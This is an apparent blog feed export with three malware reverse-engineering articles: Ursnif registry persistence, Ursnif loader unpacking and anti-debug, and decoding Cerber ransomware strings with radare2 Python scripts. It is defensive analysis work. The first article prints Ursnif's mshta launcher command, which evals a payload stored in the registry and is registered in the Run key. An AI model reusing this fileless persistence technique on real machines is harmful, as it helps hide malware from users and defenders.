&lt;p&gt;Le binaire mappé va ensuite être converti en tableau d'entiers, puis injecté dans le dernier payload (Powershell), à la place du placeholder "@CODE@". Le fichier PE récupéré sera ensuite chiffré par un simple xor avec la "graine" qui a servi pour générer l'ID du bot.&lt;/p&gt;
&lt;p&gt;Puis, le bot va énumérer toutes les clés sous HKEY_USERS afin d'assurer sa persistance. Pour chaque sous-clé (c'est-à-dire le profil de chaque utilisateur), une sous-clé du nom ci-dessus sera généré. Le bot va sauvegarder les PE téléchargés et chiffrés dans une valeur REG_BINARY, dans les valeurs nommées Client32 (pour le payload 32-bits) et Client64 (pour le payload 64 bits), ainsi que le chargeur powershell sous un nom aléatoire.&lt;/p&gt;
&lt;p&gt;Ensuite, un launcher JScript sera lui aussi enregistré dans la sous-clé, et aura pour rôle d'invoquer le loader Powershell. Enfin, la commande ci-dessous formatée avec wsprintf sera enregistrée dans HKCU\Software\Microsoft\CurrentVersion\Run pour assurer la persistance.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;aMshtaAboutHtaA:&lt;span class="w"&gt;                        &lt;/span&gt;;&lt;span class="w"&gt; &lt;/span&gt;DATA&lt;span class="w"&gt; &lt;/span&gt;XREF:&lt;span class="w"&gt; &lt;/span&gt;WriteLauncher+F3↑o
.bss:1000DB68&lt;span class="w"&gt;                                         &lt;/span&gt;;&lt;span class="w"&gt; &lt;/span&gt;WriteLauncher+119↑o
.bss:1000DB68&lt;span class="w"&gt;                 &lt;/span&gt;text&lt;span class="w"&gt; &lt;/span&gt;&amp;quot;UTF-16LE&amp;quot;,&lt;span class="w"&gt; &lt;/span&gt;&amp;#39;mshta&lt;span class="w"&gt; &lt;/span&gt;&amp;quot;about:&lt;span class="nt"&gt;&amp;lt;hta:application&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt;resizeTo(1,1)&amp;#39;
.bss:1000DB68&lt;span class="w"&gt;                 &lt;/span&gt;text&lt;span class="w"&gt; &lt;/span&gt;&amp;quot;UTF-16LE&amp;quot;,&lt;span class="w"&gt; &lt;/span&gt;&amp;#39;;eval(new&lt;span class="w"&gt; &lt;/span&gt;ActiveXObject(&amp;#39;,27h,&amp;#39;WScript.Shell&amp;#39;,27h,&amp;#39;)&amp;#39;
.bss:1000DB68&lt;span class="w"&gt;                 &lt;/span&gt;text&lt;span class="w"&gt; &lt;/span&gt;&amp;quot;UTF-16LE&amp;quot;,&lt;span class="w"&gt; &lt;/span&gt;&amp;#39;.RegRead(&amp;#39;,27h,&amp;#39;%S\\%S\\%s&amp;#39;,27h,&amp;#39;));if(!window.flag&amp;#39;
.bss:1000DB68&lt;span class="w"&gt;                 &lt;/span&gt;text&lt;span class="w"&gt; &lt;/span&gt;&amp;quot;UTF-16LE&amp;quot;,&lt;span class="w"&gt; &lt;/span&gt;&amp;#39;)close()&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&amp;quot;&amp;#39;,0
.bss:1000DC92&lt;span class="w"&gt; &lt;/span&gt;aHost&lt;span class="w"&gt;           &lt;/span&gt;db&lt;span class="w"&gt; &lt;/span&gt;&amp;#39;Host:&amp;#39;,0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis le bot va invoquer la commande ainsi générée pour lancer la charge finale, avant de  récupérer le nom du module par lequel il s'est chargé, pour supprimer le fichier droppé lors de la première phase.&lt;/p&gt;
&lt;p&gt;Ainsi ce loader assure une persistence du bot sans laisser de fichiers, laissant uniquement des artefacts dans le registre de la machine infectée.&lt;/p&gt;</content><category term="Reverse-engineering"/><category term="Malware"/><category term="Ursnif"/></entry><entry><title>Ursnif: analyse du loader</title><link href="/ursnif-analyse-du-loader.html" rel="alternate"/><published>2020-01-26T12:00:00+01:00</published><updated>2020-01-26T12:00:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2020-01-26:/ursnif-analyse-du-loader.html</id><summary type="html">&lt;p&gt;Après une période de hiatus encore plus longue que ceux de l'auteur de Hunter x Hunter, je me décide enfin à rescussiter mon blog (et mon &lt;a href="http://repo.aassfxxx.infos.st"&gt;dépôt&lt;/a&gt;). Cet article (ainsi que les suivants) redeviendront en français&lt;/p&gt;
&lt;p&gt;Entrons directement dans le vif du sujet, c'est-à-dire l'analyse du bot Ursnif, en particulier du loader dans ce premier article. Le sample étudié est disponible sur &lt;a href="https://app.any.run/tasks/7bf6e100-b2d3-4a8b-955c-2bef2ebf23b1/"&gt;any.run&lt;/a&gt;, s'appelle "osdjhbfowjndbherfvo.bin" (et hash 1da2adf65ab9d928cf4996a4151b0de2a5649d7454556f2c3ab81322d14213a4).&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Après une période de hiatus encore plus longue que ceux de l'auteur de Hunter x Hunter, je me décide enfin à rescussiter mon blog (et mon &lt;a href="http://repo.aassfxxx.infos.st"&gt;dépôt&lt;/a&gt;). Cet article (ainsi que les suivants) redeviendront en français&lt;/p&gt;
&lt;p&gt;Entrons directement dans le vif du sujet, c'est-à-dire l'analyse du bot Ursnif, en particulier du loader dans ce premier article. Le sample étudié est disponible sur &lt;a href="https://app.any.run/tasks/7bf6e100-b2d3-4a8b-955c-2bef2ebf23b1/"&gt;any.run&lt;/a&gt;, s'appelle "osdjhbfowjndbherfvo.bin" (et hash 1da2adf65ab9d928cf4996a4151b0de2a5649d7454556f2c3ab81322d14213a4).&lt;/p&gt;


&lt;h2&gt;Unpacking du sample&lt;/h2&gt;
&lt;p&gt;L'unpacking du sample se fait sans grosse difficulté: il suffit de placer un point d'arrêt sur la fonction VirtualAlloc et exécuter jusqu'au point d'arrêt, ce qui nous amène à ceci:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/after-bp.png"&gt;&lt;img src="/media/ursnif1/after-bp.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Le malware utilise la mémoire allouée pour recopier le code d'unpacking (puisque l'exécutable en mémoire sera écrasée par le binaire packé). Nous continuons l'exécution step-by-step, et nous arrivons à un moment à cet endroit:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/apres-dechiffrement-pe.png"&gt;&lt;img src="/media/ursnif1/apres-dechiffrement-pe.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;En regardant le début de la zone mémoire pointée par EAX, on observe clairement ceci:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/binaire-packe.png"&gt;&lt;img src="/media/ursnif1/binaire-packe.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Il s'agit du PE final compressé par apLib (classique), qu'il suffira donc de dumper et décompresser avec par exemple &lt;a href="https://raw.githubusercontent.com/maxim-zhao/aplib.py/master/aplib.py"&gt;ce script python&lt;/a&gt;, ou dumper la mémoire une fois la fonction de décompression (A20189) exécutée. Maintenant munis de notre sample, nous pouvons l'ouvrir dans IDA Pro.&lt;/p&gt;
&lt;h2&gt;Techniques anti-debug&lt;/h2&gt;
&lt;p&gt;Le sample est un module DLL, qui se lance au DLL_PROCESS_ATTACH. Le module incrémente un compteur de référence, crée un heap avant de lancer le thread principal du bot, dont voici le début.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/initialize-thread.png"&gt;&lt;img src="/media/ursnif1/initialize-thread.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Le thread commence par récupérer un handle sur son propre processus, avant d'invoquer une autre fonction pour le moins "mystérieuse":
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/deny-access-bss.png"&gt;&lt;img src="/media/ursnif1/deny-access-bss.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;En effet, cette fonction commence par rechercher l'adresse de la section .bss, remplir une liste chaînée contenant des informations sur chaque page de la section, avant de placer la page en PAGE_NOACCESS. Ce comportement semble étrange au premier abord, mais en regardant de plus près, le loader définit un Vectored Exception Handler dans clsContext_init. En effet, lorsque le bot tentera d'accéder aux données contenues dans .bss, il déclenchera un EXCEPTION_ACCESS_VIOLATION qui sera traité par le gestionnaire d'exception, que voici ci-dessous:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/vectored-handler.png"&gt;&lt;img src="/media/ursnif1/vectored-handler.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Le gestionnaire d'exception va donc se charger de déchiffrer les données contenues dans .bss, puis restaurer les permissions d'origine stockée dans la mystérieuse liste chaînée.&lt;/p&gt;
&lt;p&gt;En pseudo-code C++, le contexte serait défini comme ci-dessous:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;pageContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwPageNumber&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fOldProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decryptKey&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shouldDecrypt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;memContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CRITICAL_SECTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m_critSect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;pageContext&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m_list&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m_hExceptionHandler&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m_dwTlsIndex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;L'analyse de l'algorithme de chiffrement sera laissé en exercice au lecteur.&lt;/p&gt;
&lt;h2&gt;Analyse du bot&lt;/h2&gt;
&lt;p&gt;Une fois ceci fait, le sample récupère son chemin d'exécution, crée un thread qui invoque SleepEx en continu avant d'invoquer QueueUserAPC. Si l'on en croit la documentation de Microsoft:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When a user-mode APC is queued, the thread is not directed to call the APC function unless it is in an alertable state. After the thread is in an alertable state, the thread handles all pending APCs in first in, first out (FIFO) order, and the wait operation returns WAIT_IO_COMPLETION. A thread enters an alertable state by using SleepEx, SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx, or MsgWaitForMultipleObjectsEx to perform an alertable wait operation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La fonction d'APC sera donc appelée après SleepEx.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/apc-fn.png"&gt;&lt;img src="/media/ursnif1/apc-fn.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
Cette fonction invoque ensuite locateDataInBlob qui sert à récupérer des données incluses dans le binaire à partir d'un code, en l'occurence 0x408AF7E7.&lt;/p&gt;
&lt;p&gt;Pour retrouver ces données, le bot a un tableau de structures à la suite de sa table des sections. La fonction locateDataInBlob va donc chercher ce tableau, puis analyser son contenu:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/data-lookup.png"&gt;&lt;img src="/media/ursnif1/data-lookup.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ursnif1/bot-data.png"&gt;&lt;img src="/media/ursnif1/bot-data.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;La structure peut être définie comme il suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;botData&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// vaut &amp;quot;JJ&amp;quot; dans notre exemple&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xorMask&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dataRVA&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Si flags vaut 1, alors les données sont décompressées avec apLib, sinon il est juste extrait tel quel. Dans notre cas, il s'agit d'un autre "PE", compressé par apLib.&lt;/p&gt;
&lt;p&gt;Une fois les données extraites, la fonction fait un xor avec le xorMask sur le 1er DWORD du binaire. Une fois le binaire décompressé, on remarque qu'il s'agit d'un PE Windows, mais dont les magic number pour l'en-tête DOS et PE ont été effacés. Les rajouter manuellement suffit à permettre le chargement du binaire obtenu.&lt;/p&gt;
&lt;p&gt;Le bot quant à lui, va placer le chemin de lancement dans un file mapping de fichier dont le nom est le PID du process, puis créer de nouvelles sections pour mapper le PE obtenu avant de lui passer la main. Comme d'habitude, l'IDB est disponible sur &lt;a href="http://repo.aassfxxx.infos.st/misc/malware/ursnif/ursnif_loader.i64"&gt;le dépôt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;L'analyse du loader touche à sa fin, à bientôt pour un nouvel article sur l'analyse de ce nouveau module !&lt;/p&gt;</content><category term="Reverse-engineering"/><category term="Malware"/><category term="Ursnif"/></entry><entry><title>Breaking Cerber strings obfuscation with Python and radare2</title><link href="/breaking-cerber-strings-obfuscation-with-python-and-radare2.html" rel="alternate"/><published>2016-04-16T16:22:00+02:00</published><updated>2016-04-16T16:22:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2016-04-16:/breaking-cerber-strings-obfuscation-with-python-and-radare2.html</id><summary type="html">&lt;p&gt;Finally after almost two years of inactivity, I finally motivated myself and decided a new article on this blog ! In this article, I'll show how to use radare2 and especially its Python bindings to write a little tool able to decode a large part of Cerber ransomware encrypted strings, thanks …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Finally after almost two years of inactivity, I finally motivated myself and decided a new article on this blog ! In this article, I'll show how to use radare2 and especially its Python bindings to write a little tool able to decode a large part of Cerber ransomware encrypted strings, thanks to the help of radare2. So, let's begin with funny stuff ! :D&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;You'll obviously need to have radare2 installed, along with Python bindings. Also keep in mind that I'm using a mixture of radare2 internal API and radare2 commands (to workaround missing stuff/bugs in the bindings, mostly related to nonexistent support of unsigned char* parameters from Python), so this internal API can break any time. At this moment, I didn't find any Python 3 bindings, so I'm using Python 2 for this article.&lt;/p&gt;
&lt;p&gt;After binary analysis and location of string obfuscation function, we find that Cerber uses this function for almost every string in the binary, which leads to boring analysis. To circumvent this, I wanted to write a little tool that will find every place where the function is called, and walk into the stack to find the arguments given to the function, and decode them manually. Obviously, finding cross-references and decoding instructions by hand is a daunting task, so we'll use radare2 engine to perform this task "easily".&lt;/p&gt;
&lt;h2&gt;Loading the binary and finding cross-references&lt;/h2&gt;
&lt;p&gt;Loading radare2 inside our python script is as easy as importing RCore class from r2.r_core, and creating a new instance of it. After this, we just need to load the file, and ask the RBin plugin to map the sections inside radare2. This can be achieved simply by doing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;r2.r_core&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;RCore&lt;/span&gt;

&lt;span class="n"&gt;core&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RCore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;your_malware_here.exe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# set base address manually, I didn&amp;#39;t find how to do this automatically yet&lt;/span&gt;
&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin_load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x400000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, we want to perform analysis to identify called functions, and moreover, do a cross-references analysis to spot all call to our decryption function. To achieve this, we'll just send radare2 commands "af", and "aar" (which stand for "analyze functions" and "analyze references"), with &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;af&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;aar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, we gets all xrefs for our function through the [code=python]core.xrefs_get(address)[/code], so we can iterate on them and get the address of the calling code. To sum up, to get the cross-references, we can do a code like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;r2.r_core&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;RCore&lt;/span&gt;

&lt;span class="n"&gt;PROGRAM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sample.exe&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;ADDRESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xdeadbeef&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;process_xref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# do something awesome :D&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="n"&gt;core&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RCore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PROGRAM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin_load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x400000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# set base address manually&lt;/span&gt;
&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;af&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;aar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;xref&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_xrefs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ADDRESS&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;process_xref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;More craziness: walk through the calling code&lt;/h2&gt;
&lt;p&gt;Once we located the place where the function is called, we now want to get its call stack, so we can find the string to be decrypted, its length and the decryption key, and call PyCrypto's RC4 decryption routine (yeah, strings obfuscation in Cerber is just plain lame RC4). So, to achieve this, we need to parse the code backwards, and unluckily for us, there isn't exposed methods to do this easily through the bindings. So I chose to implement the dumbest methods, which consists to go one byte backwards, try to decode the instruction, and loop until we encounter a "push" opcode.&lt;/p&gt;
&lt;p&gt;So here is the method performing this, and returning a RAnalOp object (which saves us the burden to parse assembly code):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Returns a RAsm&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;disassemble_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;op_anal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# Hack because radare2 doesn&amp;#39;t expose API to find prev instruction in bindings&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_prev_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;find_prev_push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_prev_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;instr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
